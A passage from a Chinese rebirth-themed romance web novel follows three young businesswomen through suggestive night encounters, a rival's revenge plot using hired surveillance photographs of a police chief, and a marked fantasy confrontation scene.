张茉莉绕过实行生能不能到的问题,总结:“他一个实行生,敢豁出去开这么远的路。不用说,他一定喜欢你!”
“……”淳于芳抿唇笑,迟疑说,“真的吗?”
“嗯!”林语晨点头,“这年轻人真厉害,有胆量有魄力,不简单啊。我都想认识认识他。”
——应该少不了野心!
“哎呀,你去追你的赵局长吧!”张茉莉推她。
林语晨看她嘲人的样子,心里一狠,抱胸站在沙发上,可能也是酒精上头。
“茉莉,你看不起谁呢?姐告诉你们:赵有归,被姐拿下啦。”
“哇……”
“天啊……”
淳于芳和张茉莉一把将林语晨扯回沙发,压她拷问怎么回事?
林语晨死活不肯说马拉松式的布局,笑着躲两人:“行啦行啦,打死都不会说……”
淳于芳接上下一个问题:“语晨,你准备出国前同赵局长结婚吗?”
林语晨安静的时间格外长。
张茉莉哎了声:“不会吧?林语晨,你这样不是陷人家赵有归于不义?”
“有嘛!?”林语晨推她,抱住淳于芳,“我怕……”
面对两张好奇的脸,她说出上辈子的人生感悟,“婚姻,走到尽头,会不会只剩一地鸡毛?我没有做好面临那种场面的准备。”
淳于芳细细地想着这两年的所见所闻,沉重地说:“何成叔就有外遇。我替他的妻子和女儿感到不值,我也不好意思说那个人。”
“谁啊?”张茉莉和林语晨同时问,“我们认识?”
“嗯。李伶俐!”淳于芳嘘了声,“何成叔帮过我们很多。我见过他的妻子,很小巧可爱的女人。哎……”
“李伶俐这家伙真不要脸!”张茉莉切齿,呸了声。
淳于芳叹了声:“她做生意经常跑那边,何成在当地人脉广。有他照着,李伶俐拿货、走货很方便。
语晨,你的担心是对的。可是,我们女孩子不都要结婚嫁人生孩子吗?”
林语晨长长地舒口气:“我没让赵有归求婚,但是我和他确实在一起。我希望在出国前怀孕,若是有幸有孩子,我希望明年九月左右在港地生产,到时候要麻烦你帮我安排。”
港地回归,在那也是祖国人。
淳于芳一脸懵:你在说啥?每个字都听得懂,合在一起怎么像听天书?
张茉莉睁大瞳孔:我去,天塌啦。赵有归知道要被借种生子吗?
沉默像夜一样蔓延。
林语晨的思想无疑冲击八十年代父母那辈人传承下来的传统,像一剂猛药一样撞开淳于芳和张茉莉固守得那条名为女子道德的囚笼。
张茉莉眨眨眼:“早知道学长说二弟疼,我就用手,不用脚!”
淳于芳开始找借口:“那边,其实也很开放……”
林语晨一指戳去:“你们得分人。至少,我确信这辈子除赵有归,不会再同第二个人有恋爱的冲动。”
淳于芳眨眨眼:所以,喜欢就行!?
林语晨怕自己的人生误导两人,清醒地说:“抛开我的顾虑,你们看师娘和张校长,恩爱十年,现在有孩子,一起教养,很幸福。我们村的赵松海,你们都见过吧?晓琳三叔。他和妻子结婚十多年,一直没有孩子,也很恩爱。我的爸妈也是啊。”
——只有我,前世的不幸婚姻终归烙下痕迹,走不过那道坎。
张茉莉不关心这些话,扒着说:“快说说,你和赵有归那个……啥感觉?”
淳于芳也睁着双眼,一脸好奇。
“你们俩够了。听重点啊。”林语晨被两人抓挠着大笑,“哈哈……别动手啊……哈哈……”
“快说快说……”
“说啊,语晨……”
三人滚做一堆,掉下沙发。
林语晨急起来,痒得不行,大叫:“你们有喜欢的人试试就知道啦。哎呀……”
叮铃铃……
门铃声解救林语晨,从两人手上挣出来,试图逃离。
张茉莉眼疾手快地按住她:“芳芳抓着她,别让她逃。我去开门。”
张茉莉嘻哈笑着:“不会是小婶听到你的私密也感兴趣吧?”说着拉好衣服,跑去开门。
门外站着一名戴绒线帽子的温润青年,看到张茉莉后眼神一低:“你……你好。我是刘照霖,我找淳于芳……芳芳……”
淳于芳听到声音和林语晨对视,放开她走过去,拉开不明所以的张茉莉:“你到啦?”
“对,芳芳老板,车钥匙!”刘照霖笑得像夏日夜空的星星,露出洁白的牙齿,掩去一脸疲倦。
林语晨一开始还以为是多有野心的男孩子,现在看来完全是被淳于芳的能力征服的小忠犬。
她拉开张茉莉,将空间留给两人,贴耳说:“长得很清润,而且看起来很老实。”
张茉莉低声回:“怎么办,我感觉咱俩今晚要做电灯泡,我们还要留在这吗?”
两人眼神一绞,似有各自的主意。
张茉莉:“你等我去拿件外套。”
淳于芳已经把刘照霖请进屋,介绍说:“家里有点乱。这是我们晨芳的三股东,林语晨。”
“林总,你好。在公司一直听说过你的名字……我是刘照霖。”刘照霖低头伸手,又赶紧在衣角上擦过,“不好意思,一路过来……手有点脏。”
“没关系。”林语晨主动握他的手:“你真厉害,很少人能做到你这样。”
刘照霖开完这一千多公里的路,也觉得很自豪,摸着头憨笑。
淳于芳好奇问:“茉莉呢?”
“来了。”张茉莉穿上外套跑来,朝青年伸手,“我是茉莉,晨芳的三股东。你很不错!”
进门没乱瞟,不看女生凌乱的衣服,挺有礼貌!
刘照霖:……
“你好,茉莉小姐。”
淳于芳笑:“她是四股东。你穿外套干什么?”
张茉莉挽住拿包走来的林语晨,直接出门:“我们打算找第二场。所以,这里留给你们啦。小朋友,一路开回灵市,你真棒,饿了的话找你们老总,她管饭!”
林语晨也给刘照霖一个加油的姿势,随张茉莉出门。
“喂?什么情况啊?”淳于芳气笑,就说这两人搞一块,自己总像是撬不动墙角的第三者。
她酡红两颊,气呼呼说,“怎么说走就走。大半夜,你们去哪啊?”
“芳……芳总,她们可能是……”刘照霖看着脸色通红如玉女人,咽口吐沫,一时不知道说什么好。
作为聪明人,他已经明白两个女生离开的意思。
虽然心理期待,但是,他不能。
因为真爱不是亵渎而是尊重。
淳于芳拉上披肩:“你饿吧?我去找找有什么吃地拿给你。”
突如其来的暧昧气氛让经历过商场风浪的淳于芳都不免生出尴尬,而且前不久三个女人还在讨论不结婚就那啥的事,多少有点因缘和合的宿命感在里面。
刘照霖亦步亦趋地跟她进厨房。
——
上车的两人面面相觑。
林语晨已经想好去哪,但是旁边这个是真电灯泡。
“不然,你回师娘、你小叔那去?”
张茉莉撇眼:“我们不打扰芳芳和小青年,难道打扰我小叔和小婶啊?我们回江源县吧!”
林语晨坦白:“我出来可不是要回江源县,剩下的时间不多,我要去找姓赵的。”
“哇……你也太重色轻友吧。不是,你真要先怀孕再补票啊?”张茉莉服气得不行,“这两年来,我谈恋爱,最大胆就是亲吻和抚摸……”低头看胸口,“真正不敢过那条线。”
凭什么林语晨敢闯,我比她厉害还不能放下这束缚?
“他说他愿意。其实,他没提,我怀疑他也可能希望我怀孕后答应结婚的意思。反正,今晚我过去就知道答案。”林语晨想:若是过去找他,他没有拿出套,那就是姓赵得也是那类人。如果他拿出来做防护,说明他真心替我的未来考虑。
张茉莉没想她话里的算计,嘟囔:“我不去小婶那啊。这两年小婶和我妈关系紧张,就不给她添麻烦。”
“……”林语晨听她这么说,直接路过李丽珍家,“嗯……我知道有个地方一定会收留你。”
“哪里啊?”张茉莉看她开车,提醒说,“慢点啊,喝过酒呢。”
一边说别人,一边感觉熏熏然,轻飘飘得像飞起来。
“放心吧。曾经,我可是号称喝遍灵市不醉酒的女强人。”林语晨也是托现在车少的福气,一路平安开到“晓古知今”的
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店门口。
她拉着张茉莉下车,瞧向店门。
“我跟你说啊,你抢赵晓鹤的床就行。这家伙从小爱干净,不会让你睡地板。而且他一直喜欢你很多年,上次还问我你什么时候回来。综合这些条件,他一定会收留你。”
“真假啊?你干脆把我丢大马路上得啦。我一定不碍着你找赵有归上床。”张茉莉睨她重色轻友,又觉得有些不妥,“我和晓琳她哥……不熟。”
林语晨准备敲门:“你就住一晚,以你的身手,你不欺负别人就好。我可告诉你,赵晓鹤至今没谈过恋爱,初吻都在,别欺负他。”
张茉莉本来还不情愿,听说后眼睛都亮两度,挺起腰肢:“不会吧?他没谈过恋爱?二十五多吧?老男人!”
林语晨想起三十多的赵有归,大叔级别,不由莞尔。
“你就住一晚,明天我来接你。”
咚咚的敲门声响起,老式木门被打开。
赵晓鹤看着开门扑来的柔软身体,惊慌失措地后退:“哎?小姐,你怎么了?请自重。”
张茉莉看他闪得快觉得好玩,一个旋脚就到赵晓鹤的怀里。
赵晓鹤扶抱着她,一脸莫名其妙,闻到一股酒气,继而推去:“小姐,你喝醉走错门了。”
张茉莉在他怀里抬脸,对上赵晓鹤忽然震住的神色,幽幽打趣:“自重、走错门?书生,姑娘我没醉而且很轻好吗?语晨说,你会收留我!赵、晓、鹤!”
“茉莉!!!!!我我我……你喝酒……喝醉了。”赵晓鹤虚浮双手往后退,而柔软的身体缠缠绕绕跟入大堂。
“真古板,逗你玩呢。我们姐妹好久没见,聚一聚,喝得不是很多。”
张茉莉推开碍事的赵晓鹤,一脚勾在红黄灯下的老式摇椅座脚,惊慌间一个漂亮的翻旋,稳稳地落进摇椅。
她的身体随摇椅来回晃动,“唔……舒服。我宣布,今晚我睡这啦。”
赵晓鹤目瞪口呆,被她刚才的动作惊艳,仿佛武侠书中描绘的鹞子点水,让本就紧张的心为她的英姿狂欢。
咽口吐沫,眨着眼转身,往门外张望,只看到红色的小车尾灯匆忙地消失在远处的街角。
深吸口门外的冷气,回头看到躺在摇椅上的茉莉,被一侧的财神红灯照得像是韵着古朴血玉光的鬼魅女神。
他突然做了个惊人的举动,抬手狠狠地打自己一巴掌,一脸麻木地说:“……茉莉,你不能在这睡会感冒。”
“本小姐身体好着呢。你感冒我都不会感冒。”张茉莉坨红双脸,觑向赵晓鹤。
黄光下的男人像一名有着悠久历史气质的教书先生,朦朦胧胧地,仿佛带着聚光灯般的炫光,像民国戏里戴眼镜的温润老师。
她试图站起来,手上失力,又跌回摇椅:“啊……”
赵晓鹤赶紧去扶:“我扶你起来,你要睡进里屋睡。今晚我睡外面。”
趴下来时被张茉莉猛勾住脖子,力气不大的赵晓鹤一下子磕在张茉莉的脑门,鼻子一酸就感觉一股热流往外涌。
“呜……”张茉莉甩额头,定睛看去,赵晓鹤在流鼻血,夸张喊,“不是吧?你这样就受不住?”
“我我……没事。”赵晓鹤赶紧抬脖子,试图让鼻血倒流回去。
张茉莉从摇椅上蹲起身,按住他颈侧和手腕上两个穴位,轻揉地按着:“你们男人真没用,动不动就流血,搞得我像真男人一样。”
赵晓鹤感觉好多,低头看去:“茉莉,别这么说。我至今记得你冲向子弹救我的样子。”
“你傻啊,我会冲向子弹吗?我当然是躲着子弹跑。”张茉莉都不记得那事,看他发愣的眼神,仿佛小叔看小婶,甚至是张安国看林语晨……想起那句自问:林语晨都敢,我为什么不敢?
扬起长颈,柔柔笑问,“我好看吗?
“好看!你是我的穆桂英。”赵晓鹤被她的笑容晃得目眩神迷,失口说出一直以来的幻想。
张茉莉看他捂嘴,笑得越发甜美:“你想做我的杨宗保啊?”
“我我……”赵晓鹤想,但是自认不够格,惭愧地低下头。
张茉莉觉得他这是谦虚,拉住他的毛领,往下扯,彼此呼吸相触,轻声呢喃:“我试试……”
“茉莉……唔!”赵晓鹤睁大双瞳,看着朦胧灯光里闭着眼亲来的张茉莉,唇尖的柔软像蜜糖……时间、世界仿佛静止。
整个人像被施定身咒,心扑通到喉口、耳边。
咚咚咚……
这不算更震惊。
赵晓鹤感觉身体一紧,某些不可言说的地方被一只柔软的手紧紧地握住。灵魂已经升华,好似出窍飞升。
“天……我的女神……”在干什么?
“唔,原来手感是这样啊,像……”
张茉莉没有晓鹤那样多的内心戏,验过货后挺身,拉住呆若木鸡的赵晓鹤倒向摇椅。
咯吱咯吱声伴随火热的眼神,一切好像在失控的边缘。
赵晓鹤压下去时回过神,猛撑在扶手两端:“茉莉……不行……不可以。”
“我说行就行。”张茉莉恶狠狠地瞪去,钳在他双臂外侧的穴位,稍许用力按进去。
“……”赵晓鹤的手臂发麻,“啊”了声,扑倒在茉莉的身上。他的脸已经红成煮熟的虾子,被硬控地不敢动。
茉莉发现他跟木头没差别,不耐地动了动,凶巴巴说:“你再不亲我。我现在掐死你!”
“我……”赵晓鹤哑口,感受她柔软的触感,眼前仿佛烟花盛开。
亲吻让人变得柔软和渴望。
赵晓鹤再多的挣扎都折在茉莉宛如火锅般的热辣中。
只是,不经人事得他……还没找到入口,就脏茉莉半身。
张茉莉眨眨眼再眨眨眼,通红如苹果的脸蛋闪过一阵羞愤,直接击出一拳。
“嗷……”
晓古知今响起男人快乐且痛苦的哀嚎。
——
林语晨把车停在巷子外,搓着手步行向赵有归的单位宿舍。
路过传达室时,值班的人在室内看流行的港地武侠小说。
她没敢惊动人家,怕被问太多,就找个机会,弯着腰溜进大院。
赵有归洗完澡后准备关灯睡觉,听到敲门声,沉声问:“谁啊?”
打开门后,对上一张笑意盈盈的脸,那种“我在想她,她从天而降”的喜出望外充盈胸膛。
“你怎么来了?”
“不请我进去……”话没说完,人就被拽进屋。
赵有归把她抵在门后,克制着盯着她,眼神里的火热像是侵蚀黑暗的炙热娇阳。
林语晨笑看着他,闻着清爽的皂角香,手自然而然往他胸膛爬去。
“语晨,你怎么知道我在想你?”赵有归亲昵地抚着她略凉的脸颊,“这么冷,脸怎么这么红?”
“喝点酒。”林语晨弯起唇,悠悠说,“我等不到周二。唔……”
一瞬间,她被赵有归举抱着抵在门上,感受男人侵略性的吻和力量,整个人热得像火烧。
“唔……”林语晨紧紧地回应他,抚摸他身上的肌肤,感受掌心升起的温热。
“红酒?好香。”赵有归哑声点评。
“嗯。”林语晨轻声答应,吻在他的颈项。
赵有归沉沉地笑出声,探手关灯,托抱她向房间走去。
进房的路上,椅子被踢翻,什么东西落地碎掉……衣衫落在门口,床塌下去。
火已经烧起来,霹啵着像要响彻整晚。
林语晨倒下去那刻恍然,好像有什么事忘记。
但是赵有归没有忘,也没打算给它留在里面。林语晨气喘吁吁地勾住他,而他耳边轻语:“没关系……唔……”
赵有归深深地看着她,亲吻她:“如果,为孩子考虑,我们结婚吧?”
“嗯……”林语晨配合地应着,动情时轻哼,似是回应。
*
小别墅里,淳于芳敲响棕色房门:“照霖,这是样衣,你先拿着穿。我给你放门口……”
话没说完,刘照霖已经打开房门,腰间只围一条毛巾,头发上的冷水沿起伏的胸膛滑落隐秘的沟壑。
淳于芳眨下眼,看着那水珠被毛巾吸收,咽口吐沫:“你累吧?早点休息。”
“芳芳……”刘照霖看她转回,想说什么又压回去,克制说,“晚安。”
“晚安。”淳于芳回房间,关上门,忍不住抚摸额头,在房里来回走动两圈。
她想起林语晨拿下赵有归,茉莉交往好几个男生的经历……
“淳于芳,冷静。他是个……大学生!”
——难道我不是大学生吗?实际上你们同龄!
洗过澡的淳于芳在床上翻来覆去,感觉口干舌燥,下楼倒杯水。
又拿一杯水上楼,敲响刘照霖的房门。
刘照霖困顿地开门,看向昏暗灯光下的淳于芳,瞌睡虫一下子跑光。
“芳芳……”
淳于芳大胆地试探性地伸手,摸在刘照霖结痂的唇角:“怎么破了?”
“我……急着来见你,一路上没怎么停,都是吃泡面。”
“干咽?”淳于芳的手揉地有点重,结痂的地方翻出一点点血丝,“痛吗?”
“不……嗯……”刘照霖感觉到她不对劲,轻咳了声,认真说,“我没时间烧热水……”
看着她手里的水杯,下意识去接,“给我吗?”
淳于芳挪开杯子,当他的面含了口。
目睹刘照霖吞咽的动作,小小地挪前一步,垫脚亲上去。
白水在两人的唇尖沿下颚滑落。
刘照霖的心颤了颤,毫不客气地拥吻她。
“唔!”淳于芳的气息变急、身体变软。手里抓着的水杯掉在地板,发出沉闷的声音,地板湿一片。
刘照霖亲着她,让她坐在床上,脱下她的睡袍,虔诚地跪在淳于芳面前:“芳芳,愿意嫁给我吗?”
淳于芳的理智瞬间聚拢,各种想法在脑海里晃过,开吻没有回头箭,倾身压过去。
“我……只想要你现在。”
刘照霖往后缩,被淳于芳扑倒在地板。
“芳芳……如女皇所愿。”
感受女皇的热切,暧昧地回应。
眨眼间,两人滚作一堆,融成一团。
77. 幻想章
“菲儿姐,你和我哥什么时候领证啊?”楚新意在晨芳国际市场里边挑衣服边问林菲儿。
林菲儿知道她不知道那些龌龊事。
楚邵这人,但凡他想护着的人,就倾力相护;但凡他想舍弃,真是弃如敝履,不屑一顾。
“问你哥啊。”
林菲儿漫不经心地挑挑拣拣。
苏市那边也有这些服饰,但是灵市这边的市场里货样更全面。听说这些进口产品都是市场老总在港地严选过。
楚邵一心想回灵市发展,邵美芬掌握的几家服装店与灵市的服装加工厂有些合作,苏市的服装款式不少都是这里的改样版。
孙佳好从外面打饭回来,林菲儿和楚新意正好离店,彼此面对面地停了几秒。孙佳好赶紧低头,穿过两人。
楚新意不认识这人,发现林菲儿停步,不解问:“菲儿姐,我们走吧。我哥不喜欢皮毛类的衣服。”
林菲儿回身看去,孙佳好躲避眼神的交流赶去和同事招呼,不由轻笑:“新意,你先去给你的未来侄子买婴儿服吧。我要再挑一会。”
“一起去嘛。我哥说只给我们半天时间,一会还要回去呢。”
“没关系。他不带我们,我们自己花钱坐车回去。”林菲儿安抚好楚新意,让她先走,转回这家皮草店。
孙佳好的同事放下手里的饭,正要上前招呼。
林菲儿已经说:“孙佳好,装不认识啊?”
孙佳好捏紧手里的筷子,一番思想斗争后猛然抬头,推开同事:“你想干什么?”
“干什么?你爸和我爸好歹是结拜兄弟,我们不算青梅竹马,也是玩过那么几年的朋友。对啦,听说你姐孙佳人被判坐六个月的牢,早就出来吧?
她在做什么?”林菲儿笑看过去,以前孙佳人就宝贝妹妹,现在两人应该在一起吧。
孙佳好没回答。
一旁的女同事卓文已经惊呼:“佳好,你姐坐过牢啊,怎么从来没说过?”
孙佳好的面上闪过羞红、愤怒,压抑羞耻心,反驳回去:“你别听她胡说。她和我姐有仇,在污蔑人。”
卓文狐疑地看向两人。
孙佳人来店里看望过孙佳好,请大家吃过饭……看起来不像坐过牢的人。
“呵,污蔑?你说是就是吧。这么说你知道当年的事啰。”林菲儿看她撇脸向外,了然哼笑。孙佳好就这么点能耐,比她姐可差远了。
她环顾皮草店,从小包里取出张青色人民币,递去:“谁能告诉我,孙佳人现在干什么,这张钱就是她得了。”
卓文犹豫翻,在林菲儿往回收时抓过钱,朝愤怒的孙佳好解释:“她这么有钱,自己去查也早晚能查到,对吧?佳好。”
又朝笑意盈盈的林菲儿说,“她姐在郊区服装厂里做工,学做衣服……工厂叫华丽服装厂。市场里很多家批发门店都从她们厂进货。”
“女工?做衣服!呵呵……”林菲儿看着咬牙切齿的孙佳好,又递去张名片,“拿回去给你姐。她比你聪明,知道怎么摆脱泥潭。而我可以不计前嫌,帮她摆脱现在的处境。”
孙佳好接过名片扔在地上,恶声恶气:“谁要你的东西,滚。”
林菲儿一点都不生气,轻笑着出店。
孙佳好就是这么冲动、这么蠢,但是,她的同事应该不是。
卓文等孙佳好转身,捡起地上的名片,轻声念上面的字:“菲菲歌舞厅,林总,苏市。她是歌舞厅老板娘?但是,门店在苏市……”
细想这辈子应该不会离开灵市,随手扔进垃圾桶。
孙佳好一粒粒扒着饭,听卓文碎碎念刚才的林总穿多好、出手多大方有钱……她猛地放下筷子,拿起饭盒扔进垃圾桶,看着那张沾上菜汁的名片,犹豫再三,还是悄悄捡起来擦干净。
下班回家,孙佳好不敢告诉孙佳人这件事。
但是,她真得想摆脱现在宛如泥沼般的普通生活。她把名片放在家里显眼的地方,下定决心后咬着唇去睡觉。
华丽服装厂的规模已经成为灵省最大服装厂,年前仍然在赶明年春夏的货,工人加班到很晚。
孙佳人扶着坐僵的腰肢回小住房,揭锅、热饭,一声不吭吃完后轻手轻脚地转去妹妹的房间,发现墙角柜子上的脏污名片。
眼熟的名字让日渐麻木得她来点精神。
“林菲儿!呵,佳好,这是怎么回事?”孙佳人一眼洞穿妹妹的心思,知道她肯定没睡。
“姐。”孙佳好真没睡,一直在等姐姐回来。
林语晨的高雅精致、林菲儿的阔绰豪横……恍如恶魔啃噬她内心的血肉。
不甘心!她真得不甘心。
三年前,她本可以光鲜亮丽地行走在灵市的大街,却因为林语晨、警察……让她潦倒街头,甚至被邻居指指点点是毒贩的女儿,没法做人。
孙佳好爬起来,在床上跪在孙佳人的面前:“姐,我不是说前几天碰到林语晨吗?今天,我碰到林菲儿,穿得是那样好,一点不为钱发愁,出手就是一张百元大钞,甩给卓文那贱人。
你看她们,再看看我们……我们只能窝在一间单房里,吃喝拉撒都在一块,逼仄狭小,夏天有蟑螂,冬天有老鼠……姐,我真得不想再过这样的日子,姐……”
孙佳人捧起妹妹眼泪肆流的脸,试图让她冷静,嗤着说:“够了。难道你以为林菲儿会顾念旧情帮我们?”
“我不知道。”孙佳好推开她,抱紧自己,“她有歌舞厅,她是老板娘。以前,宝誉歌舞厅是我们家的产业,也许……”
“呵!”孙佳人想起淳于蓝,当真是因果轮回,“佳好,别傻了。当初,她先害我,我后来害她,多半是要找我报仇。
歌舞厅能是什么好地方吗?爸爸和林裕宝开的歌舞厅后巷,你没去过吗?若不是想要留住爸爸的目光在我们身上,我会干那种事吗?”
孙佳人拿起那张脏兮兮的名片,“她把这张名片给你,用意是什么,不用我说你也明白吧?”
“姐……”孙佳好难过地趴回去,拉起被子盖好,被窝下的呜咽声宛如流浪小猫的迷茫轻嚎。
“……睡吧。”孙佳人敛去眸里的心思,拍在妹妹的被窝上,“佳好,别忘记我们爸爸是怎么进去。咱们谁都可以不好,但是你不行,知道吗?”
孙佳好背对她,轻轻地拉下被子,吸了吸鼻子。
孙佳人知道有些事做过,这辈子都会留下痕迹,除非死,不然泯灭不了。
没毕业就坐牢,没有一个小学会要这样的人做老师。
因无故教唆他人致人残疾罪名成立,她被判六个月,出来后找罗恒的儿子,结果被嘲得一无是处。
后来,她在城里找各种零工,养着佳好,劝她回去上学。
然而,孙佳好不愿意。
孙佳人没办法,只能给两人找一份正式工。
华丽服装厂扩大规模招女工,有幸做学徒。国际市场建成,招商引资开启不少店铺。佳好愿意做店员,也有一份不错的工作。
如今,唯一支持佳人活着得是不能让孙佳好犯错,让她有一份管住温饱的工作,将来找个合适的男人,结婚生子,有个幸福完整的家庭。
孙佳人在夜色里深深地吸口气,看向外面路灯照进的光,亮了朦胧的破败屋顶。
她想起工厂里包装组工头的骚扰、辛苦夜班换来的几元钱,种种苦难在眼前一一滑过。
如果人生有罪,她已经坐过牢、吃过苦,应该还清。
接下来,人生是不是可以平安富足?
脏兮兮的名片被她紧紧地拽在被窝下。江源县,孙家人走出来的地方,是不是应该再回去看一看呢?!
——
同日午间,楚邵在耿昊的洗胶室内参观,等他把照片洗出来。
“老板,你看这张。这就是昨晚拍到的女人。大名鼎鼎的赵局长不是和尚,也会偷腥。这个女人真大胆,若不是我租的位置高过他们大院,真拍不到这张照片。这次绝对值回你花的钱。”
楚邵接过照片,在红光灯下细看,一眼认出照片里的背影:林语晨。
以照片里林语晨的动作看,她应该在敲赵有归的家门。
目光落在照片下的时间:12点31分!深更半夜!
“你不会只有这一张吧?”阴恻的语气透露楚邵在爆发的边缘。
“当然有。这么难得的机会不多拍几张岂不是对不起楚老板的钱。”耿昊把剩下几张从水里捞起,按顺序挂在绳子上晾干,指给楚邵看,“敲门、进门。女得几乎被拽进去。当时,两人一定很急吧,嘿嘿。
但是,我的手速快,专业的。这组动作还是被我抓拍到。老板,厉害吧?
只要有这几张照片,就能证明赵局长的私生活不检点。一旦爆出这事,他定会被纪委调查。”
楚邵把几张照片从头看到尾。
照片上,赵有归的表情从惊讶到惊喜,眨眼间拽人关门。
关门后两人做什么?
一股被绿的愤怒让楚邵扯起唇角。
前世今生的记忆混杂在一起,他笑得极为诡异:“呵……你还敢说你从来没出卖过身体?呵呵……她什么时候离开?”
“没有啊。现在还没出来吧?”耿昊带他离开房间,到客厅阳台处,一台望远镜、一台长筒照相机就架在阳台。
“这是五楼,今年二十二局新建的大楼。这个角度是不是正好看到他们大院。”
楚邵按耿昊的说明,用相机镜头调试远近的功能看到赵有归家的窗帘。
耿昊用望远镜看去:“窗帘没打开。我猜她还在里面。姓赵的早上出门买过早饭,我特地百米冲刺下楼,和他碰面打招呼,你信吗?那种刺激感比睡白人女朋友还过瘾!
然后,我带早饭回房间,边吃早饭,目送他离开上班。赵局长的生活非常规律。不过,今天他应该是迟到了。”
楚邵拍在洋洋得意得耿昊肩头,露个扭曲的狠厉神色:“你把那几张照片匿名寄进市局。我要让他身败名裂!”
耿昊嘿笑:“我就在等老板这句话,保证完成任务。”紧接着又说,“老板,这马上过大年,我……”
楚邵收起心头的杀意,呵笑说:“我也算半个苏市人,你做得好我也会带携你。过年前,我让邵仁文接你回去同家人团聚。”
“楚老板大气,以后我就跟着老板混,谢谢老板。”耿昊把楚邵送出门,又回阳台盯梢。
片刻后,他移动望远镜,在街角的大电线杆下发现楚老板。人像柱子一样盯向赵局长家大院的门。
“楚老板在电线杆下干什么,难道要亲自上门威胁赵局长?刚才,他说得那句‘从来没出卖过身体’是什么意思?脸色这么难看,莫非他和女方认识,被绿……了?”
****接入私人幻想***
清晨,赵有归走后,林语晨又睡回笼觉,醒来后洗过澡在沙发上看电视,等赵有归带中饭回来。
门被敲响。
林语晨踢踏着赵有归的拖鞋跑去开门:“自己家还非得我给你开门?”
身着黑呢大衣的楚邵看着媚色娇颜的女人,努力拉起正常的笑容:“林语晨?”
“你?”林语晨震惊过后立马抱胸站着,“你怎么会来?”
“这不是赵局长的家吗?”楚邵的声音略大点。
院子里有人出来张望。
聪明的林语晨明白他的用意,眼神躲闪,一把将楚邵拽进屋,再关门:“你想干什么呀?”
楚邵进门后环顾一圈,转头把人推撞在门板,呵呵冷笑。
林语晨挣下,低声吼他:“放手,楚邵,你疯了?”
“疯?”楚邵嬉笑,俯身闻着她的香气,嗅在她的耳边,切齿说:“有本事你就大叫,让所有人都知道赵有归金屋藏娇。你看他脸往哪里摆?”
林语晨感觉脖子被咬,提脚踹向他的裆。
楚邵侧身避开,继而冷笑:“你还是只会用这招?晨晨,忘记穿着比基尼诱惑我,让我给你孩子的夜晚吗?”
林语晨反抗的动作停下,冷冷看去。
“果然!”楚邵验证两年多来的猜测,绅士般往后退,手抵在唇口,流泻可怕的笑声,“你恨我,打我、骗我,耍我,诈我……我都
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不怪你。
但是,你为什么……要和赵有归上床?”
如雷的怒吼声终归爆出这间屋子。
林语晨熟悉楚邵的脾气,千钧一发际跑上去盖住他的嘴,还是惊动四野邻居。
楚邵甩头,躲开她的手,转拽着她,怒火攻心地笑着:“呵呵呵……你在担心赵有归?”
“你跟我出去。”林语晨反手拉他,却被甩开手。
楚邵在环顾间坐在沙发上,翘起二郎腿:“我不怕他,我等他回来。我要他解释清楚,一个警察局长抢别人老婆是什么罪名?”
“你疯够没有?”林语晨的眼里漫上水色,冷声反击,“我和你一点关系都没有好吗?”
两人撕扯的功夫,楚邵已经狠狠地压制她,亲吻他渴望已久的唇。
门在这时被打开,赵有归提着饭盒进门,转身朝门外围观的众邻居说:“我女朋友和人吵架呢,抱歉,打扰大家。”
门外的众人尴尬地呵笑,转身走开。
赵有归敞开大门,放下饭盒,拉住逃来的林语晨的手,亲在她的额头,抹去她眼角的湿润。
他淡定地说:“吃得下饭吗?”
“对不起!”林语晨撇脸看向门外,“朋友约了我,我先走了。”
“好。”赵有归送她出大院门,回来时穿过一众好奇的邻居进门。
楚邵正吃着他打给林语晨的饭:“赵局,单位的伙食不错啊,有肉有蛋,全是林语晨最爱的吃食。”
“你故意让这么多人听见?”赵有归大马金刀般坐下,看向好似什么都没发生过的楚邵,“你不一样了。”
“当然。我被你们两人合伙耍整整三年:林赵合村、孙林黑势力团伙案、深地不明款项罚款案……呵呵呵……耍我很好玩吗?对了,林语晨一定知道我的秘密,那她知道你的秘密吗?”楚邵喷着嘴里的饭,抬眉看去,“她知道你也是重生者吗?”
赵有归的眼神一动,没有回答。
“呵,有一有二,不可能没有三。林语晨是能干,但是,她不可能让你成为赵局长!我没说错吧?”
楚邵继续低头扒饭,“古人说得对啊,当局者迷旁观者清。我离开灵市,在苏市发展,每个夜晚我都在想到底哪里出问题。
后来,我就真看清楚。
若林语晨有把人送上省公安局局长位置的本事,前世我早就是全国首富。
呵呵……菜不错。”
赵有归暗吸口气,心理上的理亏让他有些失措。
“不要打扰她,否则……”
啪得一声,饭盒被扫落在地。
楚邵起身,整理黑呢大衣,居高临下看去:“她是我老婆!嫁给我楚邵,生是楚家人,死是楚家鬼!”
赵有归看着他出门,垂与两侧的手握成拳。
楚邵跨出门槛,回头笑:“多谢款待啊。对了,过年的时候,我在灵江酒楼摆一桌,好好回报你这顿饭,赵局长。呵呵呵……”
赵有归暗吸口气,捡起地上的饭盒。
他刚起身就看到白色的鞋尖,起身看着她:“怎么回来了?”
林语晨一把抱住他:“对不起。我不知道会这样。”紧紧地揽着他,在上车得那刻,她突然感到害怕……怕楚邵乱说,怕失去他。
赵有归已经深深地扎根在她的心底。
“有归,我们结婚吧!”
赵有归的眼前一亮,又迟疑:“你不是……”
林语晨从兜里取出那枚亮晶晶的戒指:“它在我这。我已经收了下。”
“呵……”赵有归深深地笑起来,突然很感激楚邵这一闹。
这个男人永远不懂林语晨真正要得是什么。
“语晨……”赵有归拥着她,亲吻她的脸颊、眉眼、再是唇尖……
两人亲得忘乎所以时门外响起咳嗽声。
宋景的妈妈探头问:“咳咳,赵局长,要不要叫宋景回来啊?”
赵有归放开林语晨,看着外面的大伙:“宋阿姨,我要结婚了。”
“啊?”宋景妈妈愣愣地反问,“这位小姐啊?”
旁人已在恭喜:“恭喜赵局长啊。”
“对啊对啊,昨晚我就听到点动静。原来是真得呀。”
“她叫林语晨,我们同村,小时候一起长大。”赵有归握着她的手,“下午就去领证。”
林语晨拍下他,把戒指递给他:“给我戴上吧。”
“戴上戴上……”大院里在的人都跑出来,齐齐起哄。
赵有归幸福地笑着,亲手给她戴上戒指。大伙起哄说亲一个,他又亲在林语晨的脸颊。
一位阿姨拿出一篮子糖果:“大伙,今天是赵局长的好日子,大伙来吃糖吃糖……”
名正言顺在一起的男女手牵着手,感谢大家的祝福。
滴滴滴的喇叭声从远处传来,惊醒电线杆下恨得咬牙切齿的楚邵。
(以上幻想结束!)
楚邵看向远处驶来的吉普车,下一个动作是躲到电线杆后面,偷看停好车拿饭盒下车的赵有归。
